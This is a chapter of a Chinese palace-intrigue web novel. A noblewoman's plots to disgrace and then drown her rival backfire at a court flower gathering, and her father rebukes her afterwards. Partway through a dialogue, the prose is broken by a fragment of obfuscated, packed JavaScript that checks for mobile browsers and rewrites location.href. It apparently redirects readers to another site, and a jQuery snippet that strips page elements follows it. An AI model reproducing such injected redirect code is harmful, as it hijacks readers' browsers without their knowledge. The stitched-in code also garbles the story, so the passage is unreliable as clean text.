36. 暗涌

作品:《揽卿心

    御花园里,雅集已开始。


    贵女们三三两两分散在各处小景,临水亭台听琴,竹林深处对弈,书轩画室挥毫,茶座花间品茗。


    池婉陪着皇后和几位妃嫔在芍药圃赏花。


    她面上带着得体的笑,心里却在暗暗替裴衍担忧。


    崔锦绣站在一旁,嘴角噙着笑,时不时往园门方向瞥一眼。


    再过不久,池婉就要笑不出来了,到时候,纵然她有再大的本事,都难逃责罚。


    “皇后娘娘,”崔锦绣忽然开口,“听闻今日用的是特制香饼,香气独特。臣女……都有些迫不及待想闻闻了呢。”


    皇后微笑:“哦?那便催一催。”


    池婉的心沉到了谷底。


    就在此时,园门口传来通报。


    “香饼到了——”


    两个小太监捧着锦盒快步走来,在皇后面前跪下:“启禀皇后娘娘,香饼送到了。”


    池婉看着那些被捧着的锦盒,手指微微发颤。


    是原来的……还是换过的?


    她不敢确定。


    “呈上来吧。”皇后道。


    太监打开最上面的锦盒,取出香饼。


    是宫里常见的莲花样式,颜色素净,香气清雅。


    不知道裴衍到底成功没有。


    宫女捧上香炉,太监将香饼放入。火折子一点,青烟袅袅升起。


    香气散开。


    是清雅的莲花香,混着淡淡的檀香,沁人心脾。


    池婉心中顿时松了一口气,自信从容。


    而崔锦绣的脸色却变了。


    她死死盯着那香炉,又看向池婉,眼里满是不敢置信。


    怎么会……怎么会是贡香?!


    她明明让人给换了!


    池婉迎上她的目光,微微一笑。


    “崔姐姐觉得这香如何?”


    崔锦绣紧紧盯着那香,咬牙切齿半天才吐出两个字,“……甚……好……”


    “那就好。”池婉转头,对皇后行礼,“娘娘,香已备好。请移步茶座品茶赏花。”


    皇后颔首,在宫人簇拥下往茶座走去。


    贵女们纷纷跟上。


    崔锦绣落在最后,脸色铁青。


    她看向那两个小太监,眼神凌厉。


    两个太监吓得低下头,不敢看她。


    茶座上,茶香袅袅。


    池婉亲手为皇后奉茶,举止从容,仪态优雅。


    皇后接过茶盏,抿了一口,眼中露出满意之色:“池小姐心思灵巧,这雅集办得甚好。各处景致既独立成趣,又浑然一体,宾客可各得其所,又不失相聚之乐。”


    “谢娘娘夸奖。”池婉垂首。


    贤妃笑道:“池小姐年纪虽轻,行事却沉稳周全。娘娘果然没看错人。”


    崔锦绣坐在下首,心里却难受得像在滴血。


    她费尽心机安排的局,不仅没让池婉出丑,反而让她在皇后面前更得赏识!


    凭什么?!


    她抬眼,看向池婉。


    池婉正低头为贤妃斟茶,侧脸柔和,嘴角噙着浅浅的笑意。


    那笑意当真刺眼极了。


    崔锦绣闭上眼,深吸一口气。


    不。


    还没完。


    她目光状似无意地扫过那片开得正盛的芍药圃,指尖在袖中轻轻捻动。


    正当她期盼着某种混乱时,一位掌管园圃的老嬷嬷却神色平静地走上前,对皇后福身道。


    “娘娘,花圃已按池小姐先前吩咐,彻底查验养护过了,根土都已换过,长势喜人,请您赏鉴。”


    皇后微笑颔首,目光赞许地看向池婉:“你连这些都考虑到了,甚是细心。”


    崔锦绣脑中“嗡”的一声,血液几乎倒流。


    “娘娘谬赞。”池婉微微垂眸,声音轻柔却清晰,“御花园春景难得,婉儿唯恐筹备不周,负了娘娘信重。故而诸事皆请宫中熟稔旧例的嬷嬷们一同参详,昨日见这芍药根土似有松动之象,便斗胆请嬷嬷们重新培固了一番。如今看来,倒是稳妥了。”


    皇后微微一顿,继而察觉到池婉的意图,便不再多问,只含笑点头。


    雅集接近尾声,贵女们移步至临湖的九曲回廊赏荷。


    众人簇拥着凤驾,沿着蜿蜒的回廊款款而行。


    水光潋滟,映着衣香鬓影,笑语盈盈。


    池婉陪在皇后侧后方半步,轻声解说着沿湖景致,姿态从容。


    崔锦绣落在人群稍后处,死死盯着池婉,凭什么她一个人出尽了风头。


    若池婉不在了……


    对!


    不能再等了。


    这是最后的机会,若让池婉今日全身而退,在皇后心中分量更重,那她崔锦绣,今后都要被池婉狠狠踩在脚下羞辱了!


    回廊一处拐角,视野开阔,但栏杆低矮,下方湖水幽深。


    几盆半人高的金边瑞香恰好形成视觉遮挡。


    池婉正微微倾身,指向湖心一朵并蒂莲,向皇后细语。


    就是此刻!


    崔锦绣心一横,牙关紧咬。


    她装作被身后人略挤了一下,低低惊呼一声“呀——”,整个人便朝着池婉的后腰方向,踉跄着扑了过去。


    此时,恰巧一名不知名的小宫女,端着茶盏从旁边经过,崔锦绣整个人直接就扑了上去。


    “哗啦——砰啷啷——!”


    一切发生得太快。


    精致的瓷盏与托盘脱手飞出,在半空中碎裂,滚烫的茶汤混着茶叶、瓷片,劈头盖脸,尽数泼洒在崔锦绣的前襟和裙摆上。


    滚烫的茶水透过衣衫,烫得崔锦绣僵在原地,狼狈不堪。


    预想中池婉落水的惊呼没有响起,只有她自己猝不及防的闷哼,和满场瞬间死寂后炸开的细小抽气声。


    “嘶——”


    “天哪……”


    周围贵女们先是一静,随即响起细碎的抽气声和几乎压抑不住的私语。


    “崔姐姐!”池婉的声音适时响起,带着恰到好处的关切与惊讶。


    她上前两步,虚扶了崔锦绣的手臂一下,又迅速收回,避免更多接触。


    “可是脚下打滑了?这鹅卵石地面是有些滑,又是湖边,湿气重。快别站在这儿了,仔细着凉。”


    那名宫女此刻惶恐跪在地上,“奴婢该死,冲撞了贵人!求贵人恕罪!还请娘娘恕罪!”


    皇后在几步外被宫人簇拥着,眉头微蹙,目光淡淡扫过狼狈的崔锦绣和跪地的小太监,最后才开口,语气听不出喜怒:“御前失仪。带崔小姐下去更衣。这奴才……拉下去,不许再上前伺候!”


    “是。”立刻有嬷嬷上前,半扶半请地将浑身僵冷的崔锦绣带离。


    小小的风波似乎就这样被平息下去。


    皇后若无其事地继续前行赏荷,众贵女也连忙收敛神色,重新挂起得体的微笑跟上,只是彼此交换的眼神里,多了许多心照不宣的意味。


    雅集结束后,回到府中当晚,池婉便迫不及待将裴衍叫了过去。


    “今日……多谢你了,若不是你安排,恐怕现在出丑的人就是我了。”


    她抬眸轻声问:“对了,那个宫女……也是你安排的吗?”


    裴衍目光微动,沉默一瞬:“小姐,猜到了?”


    池婉:“她……可靠吗?会不会给你带来麻烦?”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200314|195477||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >裴衍:“她已无事。宫中亦有看不惯此事的人。”


    池婉心中更定,同时泛起一丝暖意和担忧:“下次……不必如此冒险。”


    裴衍抬眼,深深看她一眼,复又垂下:“守护小姐,是属下职责所在。”


    池婉忽而红了耳朵,缓缓低下了头。


    -


    马车在崔府侧门停下。


    崔锦绣用披风紧紧裹住自己,低着头,在丫鬟的搀扶下,一言不发地疾步穿过回廊,冲进自己的闺房。


    “滚!都给我滚出去!”


    门刚一关上,她便再也压抑不住,一把挥落了梳妆台上的所有东西。


    她犹不解恨,抓起手边一个细颈青瓷瓶,狠狠掼在墙上,瓷片四溅。


    “小姐!您仔细手!”丫鬟吓得跪在地上,想去收拾,又不敢上前。


    崔锦绣胸口剧烈起伏,她走到残存的半片铜镜前,看着镜中那个鬓发散乱的女子,哪里还有半点京城第一流贵女的风采。


    都是因为池婉!


    “凭什么……”她对着镜中的自己嘶声低语,声音因怨恨而颤抖,“凭什么她就能得皇后青睐,事事圆满?凭什么我费尽心机,却落得如此下场?!我不甘心……我绝不甘心!”


    她猛地转身,眼神凶狠地盯着丫鬟:“你说!到底是哪里出了纰漏?万无一失的计划,怎么会变成这样!还有那个贱婢宫女……她是谁的人?!是不是池婉早就买通了的?!”


    丫鬟吓得浑身发抖:“小、小姐息怒……奴婢,奴婢也不知道啊……香饼是经了咱们在尚食局那人的手,按理说绝无可能被换……”


    “是池婉!一定是她!她背后定是有了不得的帮手在替她谋划!”


    她脑中飞速闪过几张面孔,是与崔家不睦的妃嫔?


    还是其他嫉妒池婉风头的贵女?抑或是……皇后?


    不,皇后若知,绝不会只是这般轻描淡写。


    正思虑间,门外传来通报:“小姐,老爷来了。”


    崔锦绣身体一僵,脸上闪过一丝慌乱,随即又被更深的怨毒覆盖。


    她迅速用袖子擦了擦脸,深吸几口气,勉强平复了呼吸,哑声道:“请父亲进来。”


    崔侍郎推门而入,看到满室狼藉和女儿狼狈的模样,眉头立刻蹙紧了。


    他挥手让婢女退下,关上门,声音里没有半分安慰,只有冰冷的责备:


    “瞧瞧你像什么样子!”


    崔锦绣眼圈一红,刚要开口诉苦,崔侍郎已冷声继续:“在御前失仪,泼了一身茶水,闹得人尽皆知!我崔家的脸面,今日都被你丢尽了!”


    “父亲!是那池婉她设计害我!她……”


    “住口!”崔侍郎厉色道,“设计?证据呢?今日皇后可有半分怪罪池婉?你那些手段,不仅没成事,反倒让人抓了把柄,落了下乘!如此沉不住气,行事又留下痕迹,简直愚不可及!”


    字字如刀,剐在崔锦绣心上。


    她低下头,掩去眼中彻骨的寒凉和疯狂,声音变得异常平静,甚至有些空洞:“女儿知错了。”


    崔侍郎见她如此,语气稍缓,但依旧严厉:“知道错,就好好思过。还有,替你办事的那两个人,我已经让人处理了,但下次,若再这般莽撞丢脸,让我来替你善后,你也不用继续留在这个家了!”


    说完,崔侍郎看了一眼满屋狼藉,摇了摇头,转身离去。


    房门再次关上。


    闺房内死一般寂静。


    崔锦绣缓缓抬起头,脸上再无泪痕,只有一种近乎扭曲的平静。


    她走到窗边,看着窗外暮色中自家精致却冰冷的庭院,轻声呢喃。


    “家……呵呵。”